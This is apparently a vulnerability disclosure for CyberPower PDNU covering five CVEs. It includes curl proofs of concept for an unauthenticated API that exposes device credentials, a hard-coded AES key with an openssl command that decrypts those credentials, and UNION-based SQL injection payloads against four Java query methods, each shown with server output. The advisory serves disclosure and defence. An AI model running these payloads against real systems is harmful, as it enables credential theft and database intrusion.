CVE-2024-32735 - Missing Authentication for Critical Function (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
An unauthenticated remote attacker can access the PDNU REST APIs. For example, the attacker can fetch sensitive information (i.e., login credentials) for devices managed by PDNU:
curl '<http://<target-host>>:8085/api/v1/devices'
{"status":"success","results":[{"ip":"192.168.1.123","mac":"11:22:33:44:55:66","fwversion":null,"netmask":"255.255.255.0","gateway":" \"192.168.1.1\"","usedhcp":false,"location":null,"name":null,"uptime":null,"code":null,"contact":null,"modifiedtime":null,"account":"admin","passwd":"FDA64FBAD708BA5A3CA9995A1153F4C6","iv":"90CC43284178CF848AA3CFE8C98B337C","canconn":true,"action":null,"ndtype":2}]}
The encrypted password used to login (i.e., SSH) to a device can be decrypted with a static key (i.e., 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e):
echo -n 'FDA64FBAD708BA5A3CA9995A1153F4C6' | xxd -p -r | openssl aes-256-cbc -d -K 7ea3312f320c78447ff6fd4c51f77a8abb764b20e31aedccfe6b1854f5aa505e -iv 90CC43284178CF848AA3CFE8C98B337C
Password123
Note that we do not a CyberPower device to be added to PDNU. We simulate "adding a device manually" with:
a. Add a row to the devicesecret table in mcu.db
curl -i -X PUT -H 'Content-Type:application/json' -d '{"ip":"192.168.1.123","mac":"11:22:33:44:55:66","cmd":"submit_after_dry_run","acc":"admin","passwd":"Password123","connectionstatus":true}' "<http://<target-host>>:8085/api/v1/devices"
b. Using the PDNU web UI, import a file with the following content, this would add a row to the rmcdevice table
"Deivce Type","MAC Address","Version","Account","IP Address","DHCP","Time","Result","Up Time","Name","Location","Subnet Mask","Gateway"
"2","11:22:33:44:55:66","2.2.7.0","","192.168.1.123","false", "1545027013","101","1348247500","PDU30SWT17ATNET","Server Room","255.255.255.0", "192.168.1.1"
CVE-2024-32736 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_utask_verbose (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
SQLi via user-supplied parameter contract_uuid:
public UpdateVerboseStatusResp query_utask_verbose(String contract_uuid) throws DataAccessException {
String q_str = String.format("select uaction, ip, mac, ts, reasoningcode from ucontract join utask on ucontract.ucid = utask.contract join utaskresult on utask.utid = utaskresult.task where ucontract.ucid = '%s';", new Object[] { contract_uuid });
return (UpdateVerboseStatusResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
}
PoC:
# sqlite_version() = 3.21.0
curl "<http://<target-host>>:8085/api/v1/confup?mode=&uid=1'%20UNION%20select%201,2,3,4,sqlite_version();--"
{"status":"finished","results":[{"ip":"2","mac":"3","action":"1","ts":"4","code":"3.21.0"}]}
CVE-2024-32737 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_contract_result (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
SQLi via user-supplied parameter contract_uuid:
public synchronized UpdateLeanStatusResp query_contract_result(String contract_uuid) throws DataAccessException {
String q_str = String.format("select numofupgradedevice, numsuccess, numfailed, modifiedtime from ucontractresult where ucontractresult.contract = '%s';", new Object[] { contract_uuid });
return (UpdateLeanStatusResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
}
PoC:
curl "<http://<target-host>>:8085/api/v1/confup?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","result":{"processing":-4,"success":2,"failed":3,"modifiedtime":"3.21.0"}}
CVE-2024-32738 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_ptask_lean (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
SQLi via user-supplied parameter contract_uuid:
public PdncConfigLeanResp query_ptask_lean(String contract_uuid) throws DataAccessException {
String q_str = String.format("select numofdevice, numsuccess, numfailed, modifiedtime from pcontractresult where contract = '%s';", new Object[] { contract_uuid });
return (PdncConfigLeanResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
}
PoC:
curl "<http://<target-host>>:8085/api/v1/ndconfig?mode=lean&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","results":[{"processing":-4,"success":2,"failed":3,"modifiedtime":"3.21.0"}]}
CVE-2024-32739 - SQLi in mcu.jar!com.cyberpower.mcu.core.persist.MCUDBHelper.query_ptask_verbose (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
SQLi via user-supplied parameter contract_uuid:
public PdncConfigVerboseResp query_ptask_verbose(String contract_uuid) throws DataAccessException {
String q_str = String.format("select paction, ip, ts, reasoningcode from pcontract join ptask on pcontract.pcid = ptask.contract join ptaskresult on ptask.ptid = ptaskresult.task where pcontract.pcid = '%s';", new Object[] { contract_uuid });
return (PdncConfigVerboseResp)this.jdbcTemplate.query(q_str, (ResultSetExtractor)new Object(this));
}
PoC:
curl "<http://<target-host>>:8085/api/v1/ndconfig?mode=&uid=1'%20UNION%20select%201,2,3,sqlite_version();--"
{"status":"finished","results":[{"code":"3.21.0","action":"1","ip":"2","ts":"3"}]}